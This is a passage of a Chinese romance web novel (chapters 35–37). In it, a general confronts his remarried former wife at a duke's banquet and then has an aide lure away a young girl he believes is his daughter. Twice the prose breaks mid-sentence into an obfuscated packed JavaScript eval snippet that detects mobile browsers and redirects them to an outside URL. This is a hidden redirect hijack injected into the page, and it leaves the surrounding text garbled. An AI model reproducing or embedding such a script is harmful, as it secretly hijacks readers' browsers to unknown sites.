小钰笑着抱住慕溶月的肩膀,一边从怀里掏出几只小巧玲珑的纸鹤:“小钰叠了好多千纸鹤,想亲手送给娘亲!” 自从小钰出生,慕溶月便认了她作为义女——就像她和苏凝兰从前约定的那样。在她失子后的数月,苏凝兰怀上了身孕,也算是消解了几分她的丧子之痛,她由衷地替友人感到开心。所以,如今小钰当众亲昵地称呼她为“娘亲”,她也并未觉得有什么不妥之处,反倒觉得心里欢喜得紧。 “我们小钰真厉害,”慕溶月的心都要化了,笑着捏了捏她的鼻尖,“这都是小钰亲手叠的么?” 小钰奶声奶气地道:“是爹爹教小钰叠的!” 宋景渊就在此刻恰到其时地伸手摸了摸小钰的头,笑着揽了功劳:“真乖。” 在不知情的外人眼中,他们仿若一家三口,尽享天伦之乐,一团和睦融融。 宋景渊与慕溶月交谈的间隙,还不忘往墙角的方向若有若无地瞥去。 果不其然,墙角里的那道黑影正双眼赤红,眸底烧着燎原怒焰,那目眦欲裂的神色,像是要将人生吞活剥。 宋景渊淡淡一笑。 他的目的已经达到了。 谢羡风自以为隐藏得很好,其实,这一切不过都在他的掌握之中。 他使了些心机手段,不惜大费周章地设宴,故意摆设出这样一个戏台子——只为了故意激怒谢羡风,攻破他的心防,惹得他露出不堪的一面。 曾经的结发之妻,如今已经改嫁他人;而自己亲生的骨肉,还要管另一个男人叫爹…… 没有哪个男人忍受得了这般的屈辱。 而那个昔日能将“若没有你,我已经与盈儿成婚,莫家便不至于此”——这般迁怒之辞挂在嘴边,去肆意伤害发妻之人,面对这番境况所作出的暴怒反应,只会有过之而无不及。 而就在他勃然大怒,作势搅乱这场荒唐的宴会,对着慕溶月大发雷霆之时, 便是他宋景渊粉墨登场的时候了。 这是他国公府的地盘,岂容区区一个谢羡风这般放肆? 如此一来,便也能顺势彻底解决了慕溶月的心头大患,进而让她愈加信任自己,而逐渐为他敞开心扉。 这便是宋景渊酝酿已久的计划。 宋景渊唇角噙着一抹笑意,一边等待着身后之人在沉默中爆发,一边暗自将怀中的慕溶月揽得更紧。 35. 第三十五天 心口那名为嫉妒的烈焰正熊熊燃烧,谢羡风脸上的表情几乎变了形。 他愤而扭头,闭上双眼,脑海之中却浮现出了另一幅遥远的画面……在眼前盘旋,始终挥散不去。 一年前,他戍守荆川,与侵犯边界的敌军交手,险些丧命黄泉。 那时,他与大部队走散,四肢不同程度地负了伤,一动不能动地瘫倒在乱葬岗堆,周身充满了腐臭熏天的尸首,而他只能独自躺在寂静的黑夜之中,逐渐失去了求生意识,只能奄奄一息地等死。 那一刻,他望着遥远的天边,一心只想着,或许,他要止步于此了。 最终,他会化作沙漠里的一抔尘土。而这个世上,再也不会有人为他的离去而垂泪悲怆。 他阂上眼,不知不觉陷入了无边的梦境之中。 在梦里,他却回到了临州的家中。夏夜蝉虫声鸣,清风习习。而他坐在凉亭之中,看着一袭裙袂翩翩的慕溶月在月下弹琴。她的仙姿玉貌,一颦一笑都是那样百媚千娇,将身旁的锦簇花团也衬得失色。而她的身侧,还有一个天真无邪的孩童正乘着风捕蜻蜓,时而欢笑,时而蹦跳。那孩子生得可爱伶俐,眉眼之处和慕溶月有七分的相像,鼻子和嘴唇却像是仿照他的模子——那是他们的孩子。 这幅画面是那样的美好、恬静——让人仿佛身临其境,最后竟然眼眶湿润。待谢羡风再度睁开眼时,便又回到了孤身一人的冷清。他深埋于阴冷的砂砾之中,心中好似缺了一块空落落的,怅然若失。 也就是这样的一副画面,最终支撑着他活了下去。 自那之后,谢羡风便终于醒悟了。他后知后觉地意识到……原来这般平淡而幸福的日子,才是他心驰神往的憧憬,他真正的心之所向。 再度恢复了清醒时,谢羡风的目光又落在了台上和睦的一家三人身上——但他飘摇的视线逐渐变得湿热、黏腻,台上的慕溶月依旧娴雅从容地笑着,可她身边的男人却好像不再是那个宋景渊,而是渐渐与他自己的身形重叠,直到完全变成了他的模样……而他们中间那个笑得一脸灿烂的小女孩,也仿佛变到了谢羡风的怀中,正咿呀学语一般亲热地冲着他喊道:“爹爹,你回来了!” 谢羡风看到最后,竟是双眼泛红,胸口酸涩不止。 如今,他早已是孑然一身。失去了恩师,也失去了故友。 她便是他的全部。 原来,他早就想要一个能够容他驻足的归宿。 而有她在的地方,才能称做家。 …… 另一边,宋景渊正耐心等待着某人暴跳如雷地冲上台,搅乱这趟浑水——却迟迟没等到他任何的反应。 宋景渊思索几许,最终决定再火上浇油一番,他抱起了小钰,对慕溶月莞尔道:“我先把小钰带回客房休息,你去后花园等我吧。” 见慕溶月颔首,宋景渊便离开了长廊,留她一人在原地。 慕溶月在后厢的花院之中闲逛起来,偶尔俯身去闻那百合花的芬芳。 宋景渊便将小钰交给了小厮,而来到了暗处,无声地观察。 果不其然,谢羡风按捺不住,很快便咬钩了。 还在轻抚花瓣、细嗅花香的慕溶月,浑然没有察觉到,身后不知何时已然多出了一抹高大的黑影。 直到她闻到了另一种气味。 淡淡的,裹着几分寒气,像是铜锁上的红锈,混匿在那花香之中,不易察觉,却叫人感觉很是熟悉。 慕溶月终于意识到了什么,猛地回头,却是遽然对上了一双深邃不见底的乌眸。 慕溶月下意识地惊怵,情难自控地脱口便道。 “……谢羡风?” 她心跳如鼓,一时头脑也变得一片空白,竟是直接开口就问,“你怎么会在这里?” 这重逢来得太过意外,让她不由得怀疑自己是不是在梦里。 直到谢羡风微启薄唇,怔怔地开口。 那熟悉的嗓音,喑哑又低沉——瞬间将她勾回了两年前的光景。 那时,她还是谢羡风的妻子; 那时,她还那么年幼无知。以为心中有爱,便能踏平山海…… “我在荆川待了两年,这是我第一次回京城。” 黑夜之中,谢羡风眼神滚烫,露-骨的视线一寸一寸地扫过她的身子,从头到脚,让她避无可避,只能被动地承受。 “……我是为了来见你。” 一句话,却犹如寒气瞬地侵袭了慕溶月的身心,她紧皱眉头,登时从幻觉之中清醒了过来,也下意识地往后躲开了一步,避开了与他的直接交锋。 “……你在躲我吗?” 谢羡风却敏锐地察觉到了她情绪的变化,口中的语气渐软了下来,身子却是更近一步,好似要咄咄逼人地将她挤到墙角去,强大的气势迫使她抬起头来与自己对视,“……你是不是还在为我当年的失言而生气?” 慕溶月静默了顷刻,却是平静地迎上了他的目光。 “谢将军多心了,我没有必要躲你。” 她丝毫也不闪躲,心如止水地看向他,“我只是觉得……你的不请自来打扰到我了。” “……”谢羡风顿了顿,叹道:“你还在生我的气。” 这一回,是肯定的语气。 他的神色有了几分的松动,姿态也愈发放低:“那时,我不该怀疑你,也不该那么说你。只是,我心里太乱了……但那不是我的本意。” 说罢,他将头垂得更深,气息渐渐紊乱,几乎是贴着慕溶月的耳畔低吟道。 “月儿,自从你离开后……我每一天都在想你。” “回到我身边吧。” “我们重新开始,好不好?” …… 一墙之外的宋景渊,陷入了无比的震惊和茫然之中。 方才,他见谢羡风锋盛气凌人、气涌如山,与慕溶月拉扯之时,就好似面对猎物蓄势待发的猛虎。 而面对他如此这般的锋芒逼人,慕溶月却始终反应冷淡,不疾不徐。看似是他在操控对话掌权,实则却是她在暗中主导局势的变幻,颇有四俩拨千斤之势。 可她姿态愈是气定神闲,谢羡风便愈是心中急躁、自乱阵脚,气氛也就逐渐被推向了白热化的高-潮。就在宋景渊以为他终于要忍不住发作之时,可最后—— 他竟然,却只是抓着她的肩头,红了眼地开始道歉。 事态的走向超出了宋景渊的预料,他隐约感到一丝不安,正意欲上前打断这局面——可刚迈开腿,却又生生遏制在了半空之中。 一码归一码,其实……这是一个难得可以刺探慕溶月内心最真实态度的时机。 错过了这次机会,他很有可能便再也听不到她的真心话了。 其实,宋景渊也真的很好奇,如今的慕溶月,对于谢羡风究竟是个怎样的态度。 她迟迟不肯对自己敞开心扉,是否因为——她心中还留有对谢羡风的一席之地? 宋景渊莫名的有些焦躁。 不过,他还是强忍着内心的不安感,决定暂且按兵不动,看完慕溶月会作何反应。 闻此言,慕溶月只觉得一阵恶心犯怵。 尤其是那一声不伦不类的“月儿”,更是令她头皮发麻、浑身不适。 “将军恐怕是误会了。” 她猛地甩开了谢羡风的手掌,肩头的衣襟却被他无意中揉出道道衣褶。她蹙着眉将那些皱褶抚平,再抬起眼时,望向谢羡风的眼神便多了几分失去耐心的厌嫌。 “我承认,我过去的确曾喜欢过你,但那不过是年少时的情愫萌动,恰好你又在那时候出现在了我的身边,仅此而已,若是换了别的人也是一样的。” 她的言语,宛若一盆冷水泼在了谢羡风的身上。他神色一僵,连语气都变得生硬起来。 “什么意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599733|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “谢将军,还需要我说得再直白些么?” 慕溶月却盈盈一笑,倏地勾起小指,轻掸去谢羡风肩头的一片落叶,那动作带着几分轻佻的蔑然,凝视着他的目光也透着丝丝的戏谑。 “你于我而言,就好似是闲时豢养的一只雀儿,逗来解解闷罢了。” “谢将军……又何必当真呢?” 谢羡风方才因为她骤然的接近、指尖擦着他的肩头而过,这番亲密之举而意乱情迷,可下一瞬,她的冷傲之语又陡然将他推入了冰窟的深渊,这般忽冷忽热的折磨,让人不禁发狂。 “……我不信。”谢羡风的呼吸都变紧了,猛地朝慕溶月,“阿月,你还在同我说气话,是不是?” 慕溶月低低地反笑了起来。 “你不信便罢了,难道还要我向你证明?别再幼稚了。” 见她转身就要走,情急之下,谢羡风猛地拉住了她的手腕,穷追不舍道,“……阿月,你要去哪里?” 他无意识地用力,慕溶月吃痛地闷哼一声,他便又像触电般松开了手,她才终于得以挣开桎梏。 “谢将军,请自重。”慕溶月紧锁眉头,一边摩挲手腕上的红痕,一边瞪视着始作俑者,“如今我是国公夫人,你在国公府与我拉扯,成何体统?” 谢羡风脑中嗡的一声,连血液都开始凝结。 宋景渊。 此时此刻,从她唇中吐出这个人名,让他无端地升起一股怒火。 “你现在提起宋景渊,难道是故意惹我生气?”他怒极反笑,又将她圈在了双臂之间,堵住了她的退路,“你想说明什么?你不肯回到我身边,便是因为你已经转而爱上了他吗?” “你不要再自作多情了。”慕溶月高声辩驳道,“……松手!” “我不相信,你会真的变了心。” 谢羡风脸色愈发泛起了白,将她制在身下,自顾自地喃喃自语着, “你也会为了他去苦学马术吗?你也会为了他日夜裁冬衣、煮暖手茶吗?你也会亲手绣香囊,赠予他当做定情之物吗?你和他的婚约——难道也是千方百计去陛下面前求来的吗?你也会与他在雪树之下祈福——惟愿与他一生一世一双人吗?” 慕溶月冷着脸。 “你答不上来,”谢羡风见她这般表情,却是忽然痴痴地笑了起来。自问自答一般,言之凿凿地下了结论,“因为,这些事,你从来只对我做过……你果然没有真的爱上了别人。” 慕溶月没有与尽他口舌之争,相反,她一言不发地盯着他兀自将话说完,见他的表情从质疑到释怀,紧接着——突然笑了出来。 谢羡风的表情瞬地僵住了:“……你笑什么?” 慕溶月抬起眼。 “我在笑你,真可怜。” 若说,方才被他纠缠,她还只是恶心反胃。 那么,此刻——她冷眼旁观着谢羡风的自说自话,忽而感到心头一扫而空的轻松。 宛如云开见日,雨过天青。 时至今日,他仍旧困囿于往昔的枷锁,抵死守着那些残缺泛黄的回忆,犹如抓住救命稻草一般,顾影自怜。 知道他如今过得并不好,她也终于能够释怀宽心了。 慕溶月自然不禁笑出了声。 于她而言,他早就属于过去的篇章;而对他来说,她却是他今后的救赎。 她从前在他身上种下的因,现今终于结出了果。 而她…… 也终于可以同往日的自己和解,而安然朝前看了。 …… 见她笑得如此甜美,谢羡风却是心乱如麻,隐约感到局势愈发超出了他的掌控。 他不禁疑惑地反问:“阿月,你说这话是什么意思?” “意思便是——”两人身后赫然响起了另一道声音,宋景渊猛地制住了谢羡风的手臂,“你还要抓着别人的妻子到什么时候?” 36. 第三十六天 空气有转瞬的僵滞,谢羡风猛地回过头来,二人之间似有无声的暗流涌动。 他微眯双眸,而只是冷冷地甩开了宋景渊的束缚,丝毫没有退让之意。 “你又是哪里来的蝇虫,也配把她挂在嘴边?” “这话应该是我对你说吧,谢将军。” 两人针锋相对,一时间竟呈现出诡异的三角站位,将慕溶月层层围住。 谢羡风一向不喜宋景渊的为人作风。此人城府颇深、口蜜腹剑,哪怕面对厌恶之人,也能笑里藏刀、阳奉阴违——偏偏,这是谢羡风最嗤之以鼻的做派。从前是、今后更是。 “你若是故意想找个人来气我,大可不必这么饥不择食,”谢羡风话语之中尽是蔑然,定定地看向慕溶月,“拿他来与我相提并论,未免太拉低我的档次。” “我看,谢将军也该睁眼看世界了,别总活在自己的幻想里。”宋景渊却是微微一笑,反唇相讥,“你现在离开这里,我还可以不同你追究你深夜擅闯国公府的罪责。” 谢羡风嗤地笑了一声,毫不畏惧他的要挟:“那你去报官吧。” 宋景渊敛起了笑容,折扇轻轻一甩,瞬时包上来了一队侍卫军,将他围得水泄不漏。 “我有自己的护卫军,我国公府的地盘,不受官府管辖,全凭我自己做主。” 谢羡风却索性不再理会他的纠缠,而是径直来到了慕溶月身前。他冥顽不灵,不在乎耳边聒噪的所有,一心只想听到她嘴里的回答。 “阿月,我只想听你亲口说。” 慕溶月沉默了许久,终于在此刻漠然地张开了口。 “以后,别再叫我‘阿月’了。” “我们还没有熟到那种地步。” 谢羡风震颤不已,眼底尽是愕然。 而慕溶月并不给他反应的时间,直言道:“若你还想给自己留一分的体面,就请自行离开。” 最后,便将他扔之脑后,不闻不问。反倒是在离开前,回眸看向了一旁的宋景渊,“还愣着干什么?走吧。” 她一个眼神,宋景渊便会意,轻笑着后脚跟了上去。 徒留谢羡风一人僵在原地,紧攥的双拳还在隐隐发颤。 …… 直到这时,才终于只有两人独处了,就连空气也变得清净了几分。 宋景渊缓缓地跟在慕溶月身后,见她始终缄默不语,不由得反思起来——他是不是一不小心玩过火了? 不过,却并不后悔。 最后,宋景渊思索顷刻,主动上前两步,直到与慕溶月并肩而行。 两人各怀心事,各自沉默不语。 其实,方才在谢羡风质疑她是否移情别恋之时,宋景渊凝神屏息,也在暗暗等待着慕溶月的答案。 只可惜,她并没有直接回答,而是置之一笑。 顿时将两个男人的胃口同时吊了起来。 宋景渊一时间陷入犹豫,左右为难,索性想直接将心中困惑宣之于口,但这股冲动很快就被理智冲散了——他明白,以慕溶月如今的个性,即便他打直球去问了,也很难套出她的真心话来。 倒不如什么也不说,装作无事发生的模样,反倒能逐步降低她的戒备。 就在宋景渊兀自内耗之时,慕溶月却是先一步开口道。 “今天这场‘请君入瓮’的局,是你故意布设的吧。” 宋景渊一愣,随即对上她清明如水的目光,他只好试图装作无辜模样:“……嗯?什么?” 慕溶月却直接识破了他的伪装,啼笑皆非地叹道:“没想到,我竟然也成了你算计中的一环。” 见慕溶月误会了他的用意,宋景渊连忙改口解释道:“我只不过是想帮你解开心结……本意并非是算计。”见她没有排斥之意,才又继续往下问道,“那么……慕娘子觉得,我今日的心疗之法可算是成功了?” 慕溶月听出了他话里的试探,笑了一下。 “算是有三成的效用吧。” 至少,她心头的确是轻盈了几分。 “这么说来……”宋景渊目光如炬,却是进一步地追问,“慕娘子心上的坚冰终于要开始消融了?” 这是什么比喻?慕溶月忍俊不禁,便依从地颔首道。 “你说是便是吧。” 却不承想,她让出一寸,宋景渊便要更进一丈,不依不饶地将她堵在了长廊的尽头:“是对我的坚冰……还是对他的?” 这便是将刺探摆在明面上了。 慕溶月骤然停下了步伐,动作之生硬,让宋景渊也下意识愣怔了一瞬。 下一瞬,她便径直迎上了宋景渊的目光,眼神如此澄澈透亮。 “宋大人,其实你大可以对我放心,不必再绕着弯地试探我。” “既然我已经选择与你重拾婚约,便断不可能做出悔婚之事。” 宋景渊刚想辩驳两句,却对上慕溶月坚明的目光,登时欲言又止了起来。 说是试探,其实也没错。他一时无言以对,只能撩开折扇,当做圆场:“……嗯,我知道了。” “至于我和那谢将军……” 慕溶月话音顿了顿,只淡淡道,“我们早已不是一路人了,自然不可能再有什么结果。” 其实,宋景渊最想问什么,她也心知肚明。 索性,便借着这次机会一并说开,将道理掰开、揉碎了,再说给他听。 “事到如今,再和他在一起,对我而言,已经没有任何的好处。” “且不论别的,现今他家中无人,无依无靠,又独自在军中历练数年,能升到如今的官阶已是得之不易。但若是要与我相配,还远远不够。”慕溶月道,“他如今的地位,只能在平日里换些小恩小惠。但若是放在将来,有朝一日我遇上了什么事,他要想护住我、护住我的家族,仅凭他一己之能,最终也是有心无力。” 宋景渊望着慕溶月,一时心中讶异。他没想到,面对昔日的旧情人,她竟能如此冷静自持,抛开个人情绪,而平心静气地分析局势、晓以利害,一针见血地道出矛盾之根本。 “我已经不是孩子了,”面对宋景渊的讶然,慕溶月也只是平静道,“我必须要认清现实、权衡利弊。” “更何况……” “我还没有忘记,当初,是他对我和孩儿不闻不问,才酿就了最终的那场惨剧。” 听完她的诉说,宋景渊缓缓点头,心中已经了然。 不用再多干涉了。 谢羡风已经完全不是他的对手了。 “……你说得不错。”宋景渊微微颔首,折扇轻晃,以示认可,“他护不了你,我却可以。” 慕溶月垂下眼。 “因此,你与我的婚约……” 她动了动喉头,话锋一转道,“就像宋大人当初教导我的那般,情爱与姻婚,本就是可以分开的。所以——” 接着,她忽而倾身,在宋景渊耳畔小声地撂下一句:“哪怕你养了无数外室,成日在青楼厮混,我也不会提出与你解除婚约的。” 宋景渊只感觉被她的吐息掠过的耳廓之处,都激起一阵酥麻。 这话怎么听着这么耳熟呢? 这本是他从前的名言,可从她嘴里转上一圈说了出来,感觉却是截然不同。 宋景渊想了想,不禁追问:“你真的这么想?” “嗯。” 又好似不甘心一般,复述一遍:“若我真的如你所说,去养无数外室与你分宠,还成日在青楼与娼妓厮混……你也没有哪怕一丁点儿的委屈?” 慕溶月认真地望着他:“我不会与那些女子乱吃飞醋的。” 宋景渊心情复杂。 她是真的油盐不进。 到底是真的油盐不进……还是仗着他对她的惯纵,才如此有恃无恐? 罢了。 只要能达到目的就好。 慕溶月又问:“你笑什么?” “我只是觉得,”宋景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607605|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊莞尔一笑,猛地收起折扇,“某些角度来看,慕娘子和我真是越来越般配了。” *** 玉笙居内骤然响起清脆的破碎声。 谢羡风望着地上被他一时失手打碎成几瓣的茶壶,此时才终于如梦初醒般缓过了神。 他的手心早已被茶壶的碎片划伤,鲜血顺着爆出的青筋往下滑落,指尖也微微地颤抖。他却只是双目空洞,茫然地望着眼前的场景,好似一切都与他无关。 书阁之内,一地的狼藉。被扔在墙角的杂书,书页还在随风飞舞,发出窸窣的声音,亦如他此刻凌乱却冥茫的心情。 他从来没有像今日这般失控过。 如今的慕溶月,给他带来那种不可捉摸的感觉,让他感到陌生,也感到……惊惧。 这时,门外响起了刘彰的声音。 “将军……” 谢羡风深吸一口气,收回了手,匆匆用帕巾擦去血渍:“进。” 刘彰行了礼,继而低声汇报道:“那桩走私的案子……又有线索了。” “正如将军预料的那般,那线人在白江周边的村子里躲了半个月,终于是按捺不住冒了头。我们的人迅速将其拿下,严刑审问……目前,已经掌握了好几条关于买主的线索。” 谢羡风平静地擦着手上的血污。 “继续。” 刘彰犹豫了片刻,最终还是开口道:“目前来看,所有的证据……都指向了同一个人。” “那是个名唤杨伟的商户,身世蹊跷。我们后来派人去追查,发现那果然是个假名,而其背后真正的主使,是……” 闻言,谢羡风的神色一滞。 宋景渊。 竟是他去私自倒买军械。 谢羡风动作僵住,心跳也不由得加快。许多破碎的线索就在这时被串连成了线。 为何慕溶月当日会出现在那事发现场,她以前分明从来不过问、也从来不关心这些朝政之事。 原来,她是被他利用了。 “还有……那日大人吩咐我去查的事,我都已经查清楚了。” 说完了公事,刘彰这时又话音一转,谈起了私事。 “慕娘子在与大人和离之后,身边一直都没有新人。虽然追求者无数,但几乎都在慕娘子那儿碰了壁。原以为她要一直待嫁闺中,直到后来,慕御史生了一场大病,元气大伤,长公主这才着手,重新定下了慕宋两家的婚约。” 闻言,谢羡风便更是肯定了心中的猜想。 她与宋景渊的这桩婚约,果然是目的不纯。 她是受人蒙蔽了。 谢羡风的双拳隐约收拢,“……我知道了,你退下吧。” 当天夜里,谢羡风久久不能入眠。 他倚靠在书案旁,依稀记得自己做了一个模糊的梦。 梦中,他好似来到了热闹的游园节。 大红灯笼高挂,孩童们手持烟花棒在人群之中穿梭,笑声如银铃般清脆。 忽然,一个稚嫩的女童栽进了他的怀抱,脸颊犹如红彤彤的云霞,甜甜地唤道:“爹爹!” 谢羡风俯身刚将女童抱起,眼前却徐徐出现了另一对人影。慕溶月朝女孩伸出手呼唤道:“小钰,快过来。” 还不等他开口挽留,女孩便已然从谢羡风怀中滑走,衬得他形单影只,更显落寞。 而女孩已然重新扑向了慕溶月身旁的男人怀里。那男人就在此刻回了眸……竟是宋景渊的脸。 谢羡风猛地惊醒,胸口止不住地起伏——半晌才缓过神来,高声唤了一声。 刘彰闻声推门而入:“将军,有何吩咐?” “去想办法……”他气息紊乱地说,“把她带来。” 刘彰一时会错了意,为难地解释:“慕娘子此时在公主府,怕是有些困难……” 见谢羡风许久没出声,只向他投来一道森冷的目光。刘彰这才意识到,他指的是小钰。 他与慕溶月的女儿。 37. 第三十七天 要在光天化日之下,从长公主府中掳走一个女子并不容易。 但若换做是稚子,倒是简单多了。 刘彰暗中观察着小钰的动向,不出一个月,便掌握了规律。 他调查出,小钰平日里被寄养在张学士府中,每月的初三,张学士夫妻都会将其带去山上的道观里焚香祈福,一直到了傍晚时分再上轿回家,月月如此、风雨无阻。 而这一天,恰好可以被他们来见缝插针。 这月初三,刘彰如期扮作山中道士,设法支开张氏夫妻,争取到与小钰单独相处的时机,再将他带去见久候多时的主君。 刘彰是训练有素的侍卫,自然很快便是得手了。他命人看护好小钰,独自来到了道观后厢的一处隐蔽木屋之内。 “将军,人已经带到了。” 谢羡风一袭长衣垂地,正对着神龛礼拜贡香。他闭眼默念几许,才重新起身,沉声道:“让她进来吧。” 刘彰便扭头去宣人,继而又向谢羡风解释道:“张氏二人还在外殿,恐怕只有半日的时间,若不然,他们便要起疑心了。” 谢羡风心中一涩,他分明是见自己的孩子,却还要装出一副绑匪的架势,偷偷摸摸的——真是何其讽刺。 最后,垂眸应道:“足够了。” 殿门缓缓打开一条小缝,一双生怯的眼睛在门后小心翼翼地打量着。 “小钰。” 谢羡风主动开口,那小孩蓦地吓了一跳,迅速缩在了门背后,半晌才重新探出了一个脑袋来。 “你叫小钰……对不对?” 谢羡风的目光逐渐与小钰交汇,他的视线温和而沉稳,让她也逐渐松下了戒备之心。 “凑近些,”谢羡风伸出手摇了摇,“让我看看。” 小钰这才大着胆子走了过去。 她停在了谢羡风身旁。后者抬起眼,无声地隔空描摹着她的眉眼……圆圆的肉脸,带着几分婴儿肥的稚嫩。那眉眼之间,不像他,也不像慕溶月。 谢羡风心中一时五味陈杂,说不上来的感觉。 他从前听过一些民间传闻,说若是在夫妻俩情投意合、浓情蜜意之时诞下的子嗣,便会很好地继承夫妇二人面相与品行的优良之处,而反之亦然。 如今这孩子与他和慕溶月都不甚相像,大抵是和那时他们感情不和有关吧。 想到这里,谢羡风的眼神也黯淡了几分。 下一瞬,一个童稚的声音打断了他的思绪:“……你是谁?” 在谢羡风观察自己的同时,小钰也在认真端详着谢羡风的脸。这个陌生的大叔叔虽然看上去有点凶,身旁的那些侍从也都一副忌惮他的模样……可他对她说话时却是轻声细语,抚摸她的额头时也是温温柔柔的,让人不知不觉便放松了起来。但尽管如此,小钰也还是记着母亲苏凝兰的教诲,一板一眼地开口问道:“阿母说,不许小钰乱和陌生人说话。” 谢羡风这时才意识到,这还是他们父女俩第一次正式的见面。 “我不是陌生人……”谢羡风一时啼笑皆非,只能柔和地握住了小钰温软的手心,“小钰,我是爹爹。” 小钰闻此言,突然猛地甩开了谢羡风的手,嘟着嘴辩驳。 “骗人!你才不是我爹爹,我爹爹是……” 她话还没说完,谢羡风便伸出指腹覆在了她的唇上,阻止了她继续往下说去。 他早就猜到小钰不会这样快接受这个事实,他不想在父女俩初见时便与女儿争论起这个不愉快的话题,更不想在自己女儿的嘴里听到某个惹人厌烦的名字。 于是,索性退让一步,避而不谈。 小钰这时也明显地戒备了起来,甚至后退一步,盯着谢羡风问:“……你到底是谁呀?” 为了打消她对自己的防备,谢羡风只好强忍着无奈道:“……我是谢叔伯,是小钰的亲人。” “谢叔伯?” 小钰的表情又带上了几分的迷茫,好似正在用小脑袋瓜竭力地搜寻着记忆之中有没有哪位姓“谢”的远亲。 谢羡风见此状,不由得心中隐隐作痛。他忽而伸手将小钰抱在了怀里,沉沉叹了口气。 “小钰,对不起。这么久以来,都缺席你的人生。” “不过,谢叔伯现在回来了。往后……我再也不会离开你与娘亲。” 小钰听不懂他的话,只能不知所以然地眨了眨眼。但见他心情阴郁,便想起母亲苏凝兰对她的教诲,要她学会与人为善——于是,小钰便有模有样地拍了拍谢羡风的肩头,安慰道:“谢叔伯,不用自责啦,我和阿母不会怪你的。” 她这幅反过来劝解人的姿态倒显得稚气未脱。谢羡风看得眼角泛酸,唇角却难以抑制地勾了起来。 谈笑之间,他又差人端来了一个盒箧,摆在了小钰的眼前。 小钰好奇地问:“这是什么?” “这是我给你准备的见面礼。” 谢羡风亲自将盒箧打开,拿出了里面的一对金银锁。 其中,那银锁雕着如意云纹,熠熠生晖。谢羡风亲自将脖链穿过小钰的颈后,为她戴上了这枚银锁,来回欣赏,十分满意。 “这是我找大师为小钰定制的护身符,已经被开过了光,戴在身边,便寓意着锁住富贵,锁住平安。” 小钰也很喜欢,欢快地道了谢。接着又指向了另一头的金锁。 那金锁繁复而华贵,锁身覆着精美的花纹雕刻,中间还镶嵌着一颗玲珑剔透的宝石。 “那这个呢?” “这金锁……是和小钰的银锁相对的子母锁。”谢羡风顿了顿,亲手将那金锁放进了小钰的手掌心里,郑重地看向她,“小钰,代我转交给你的娘亲吧。” 这一对子母锁,是他找来京中最出名的锁匠,耗时一个月才制成的宝物,成品之后,还去灵隐寺求来了禅师为其开光,每一道工序都由他亲身参与。只有自己经历过个中滋味,才能明白当初慕溶月为他缝绣香囊时,一针一线都怀揣着怎样的心情。 她以满怀的热忱予他馈赠,并不图相同的回报,而只希望能得到对方将其放在心上的珍视,一句“谢谢,我很喜欢”——仅此而已。 可就是这样简单轻巧的反馈,他都未曾给过她。 事过境迁,他只想做些什么,来算作对她的弥补。 “好哇,娘亲她最喜欢金饰了,谢谢叔伯!”小钰欣喜地攥紧了金锁,忽然喜笑颜开地问,“那叔伯有没有给爹爹准备礼物哪?” 她话音落下,现场陷入一片寂静之中。 一旁候着的刘彰也暗自冒起了冷汗,他明白宋景渊是将军的逆鳞,可偏偏他的女儿又如此地惦念着宋国公,就连收礼也不忘了为他讨要一份——刘彰仔细观察着气氛的变化,生怕谢羡风下一刻就翻起了脸。 但出人意料的是,谢羡风不仅没有发怒,反倒是缓缓一笑,轻摸小钰的头。 “不错,我们小钰很聪明,知道有什么好东西都往家里搬,也不能厚此薄彼了去。”说着,他话音一转又道,“不过,这一次时间仓促,叔伯就没有给小钰的爹爹准备见面礼,下一次,由小钰亲自带爹爹来见我,我再把礼物交给爹爹,好不好?” 而天真的小钰还浑然没有察觉到谢羡风微不可见的小心机,爽口应道:“好!” 谢羡 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原来,是他忘记了,小钰大抵还有苏凝兰这一位义母——这是从前慕溶月同她的约定,两人日后的孩子要□□为义子。她曾经向他提起过这事,是他一时间忘了。 “不过,慕娘亲她也和阿母一样,才不喜欢玩泥巴呢!”小钰又信誓旦旦地说,“有一回,小钰看到慕娘亲她家里有很多的小泥人,小钰不小心碰翻了一个,她也没有生小钰的气,反倒说,这些都是过时了的小玩意,她早就过了那个贪玩的年纪了。然后——就顺手把那些小泥人都送给小钰了,自己一个都没有留呢!” 谢羡风沉默了起来。 初识慕溶月时,她只因下人无意碰碎了自己的一个泥面人,而伤心不已,又哭又闹。 如今,她竟能毫不留恋地将昔日所爱之物悉数拱手让人,而心无波澜。 谢羡风不知这样的变化是好是坏……他心底兀地涌上一股怪异的感觉。 “那小钰,”左思右想,谢羡风还是将那泥面人一并递在了小钰的手心里,“……就再替我把这些泥面人送给你的慕娘亲,可好?” “可是……”小钰不解地反问,“我都说了,慕娘亲她不喜欢玩这些的,你怎么不相信哪?” 谢羡风静默了几许,只定定地说,“很久以前,谢叔伯也曾送过她一次这泥面人,那时,她就很喜欢。” 所以,他才会想故技重施,希望慕溶月能念起昔日的旧情。 他至今还记得那一对泥面人。 一左一右,一男一女,粉袄子和虎头帽。 想到这里……他眼前似乎已然浮现起了慕溶月收到礼物时,那惊喜、眼底泛光的表情。 小钰又呆呆地问:“叔伯送的,会不一样吗?” 谢羡风认真地点了点头。 “那好吧。”小钰这才答应了下来,思索一会,又问,“那谢叔伯,你为什么不自己把这个给她呢?” “……” 谢羡风一时无言以对。 